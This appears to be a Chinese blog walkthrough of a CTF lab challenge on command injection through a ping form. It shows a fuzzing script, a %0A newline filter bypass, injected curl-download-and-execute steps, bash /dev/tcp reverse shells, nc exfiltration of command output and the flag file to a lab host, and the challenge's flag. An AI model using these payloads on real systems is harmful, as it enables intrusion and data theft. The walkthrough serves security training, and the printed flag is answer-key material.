• 从0到1:CTFer成长之路——死亡 Ping 命令


    死亡 ping 命令

    绕过探测

    • 手动尝试

      image-20231026111651824

      image-20231026111706228

      image-20231026111721198

    • 脚本生成转义后的字符,后面拼接命令

      import urllib.parse
      
      with open(r"C:\Users\LEGION\Desktop\RCE.txt", "w", encoding="utf-8") as f:
        for i in range(0, 255):
        	  encoded_str = urllib.parse.quote(chr(i)+"whoami")
        	  f.write(encoded_str + "\n")
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      在这里插入图片描述

    • bp 爆破

      image-20231026160017488

    • 出现中文乱码

      image-20231026160821417

    • 设置编码

      image-20231026160849659

      image-20231026160537144

    • 爆破

      最终发现转义后的 %0A 拼接时未被过滤

      image-20231026161125093

    漏洞发现

    • 发送到 Repeater 模块中查看,执行成功但并没有回显

      image-20231026161457031

    • 尝试 kali 开启 nc 监听,反弹 shell

      bash -i >& /dev/tcp/10.4.7.138/8888 0>&1
      
      • 1

      image-20231026162156157

    • 命令中包含过滤字符

    • 开启另一个靶机,将命令写入 shell 文件尝试传入

      bash -i >& /dev/tcp/10.4.7.146/8888 0>&1
      
      • 1
    • 开启 80 端口(docker 所在的靶机 80 端口被占用)

    • wget 下载失败(可能 docker 中未安装 wget)

      image-20231026200703266

    • curl 下载成功

      ip=%0Acurl 10.4.7.146/shell> /tmp/shell
      
      • 1

      image-20231026200644416

    • 赋权

      ip=%0Achmod 777 /tmp/shell
      
      • 1

      image-20231026200716932

    • 10.4.7.146 开启监听

      image-20231026200814244

    • 运行,反弹失败

      ip=%0A /tmp/shell
      
      • 1

      image-20231026200834519

    • 查找资料说此 docker 未安装 bash、python 等,所以无法反弹 shell

    flag 获取

    • 尝试直接回显

      ls | nc 10.4.7.146 8888
      # 将 ls 查看的命令输出回显到 kali
      
      • 1
      • 2

      因为 | 会被过滤,所以使用同样的方法将命令写到 kali 的文件中,上传到靶机执行

    • 编辑文件

      image-20231026200916698

    • 上传

      ip=%0Acurl 10.4.7.146/ls > /tmp/ls
      
      • 1

      image-20231026200947835

    • 赋权

      ip=%0Achmod 777 /tmp/ls
      
      • 1
    • 执行

      ip=%0A/tmp/ls
      
      • 1

      显示成功

      image-20231026201019390

      查看反弹的 kali

      成功反弹回 ls 的执行结果

      image-20231026201144696

    • 接下来就是一个个命令上传,浏览附录

      image-20231026201502881

      bp 中依次发送包

      ip=%0Acurl 10.4.7.146/ls2 > /tmp/ls2
      
      ip=%0Achmod 777 /tmp/ls2
      
      ip=%0A/tmp/ls2
      
      • 1
      • 2
      • 3
      • 4
      • 5

      image-20231026201726723

    • 最终发现 flag 在根下

      查看 flag

      上传查看 flag 的脚本

      cat /FLAG | nc 10.4.7.146 8888
      
      • 1

      image-20231026201925518

      ip=%0Acurl 10.4.7.146/cat > /tmp/cat
      
      ip=%0Achmod 777 /tmp/cat
      
      ip=%0A/tmp/cat
      
      • 1
      • 2
      • 3
      • 4
      • 5

      image-20231026202046104

      image-20231026202056904

    • 成功拿到 falg

      n1book{6fa82809179d7f19c67259aa285a7729}
      
      • 1
  • 相关阅读:
    vue 复制合同链接功能
    好书分享:《optisystem案例解析》
    泡沫填充轮胎
    【STL】自定义string类
    润石科技(RUNIC)汽车电子应用方案和物料选型
    01标定相关理论
    代码随想录 -- day60 -- 84.柱状图中最大的矩形
    【JavaEE初阶】 TCP三次握手四次挥手(超详细版)
    Leetcode.2826 将三个组排序
    全景应用程序监控
  • 原文地址:https://blog.csdn.net/weixin_51559599/article/details/134064120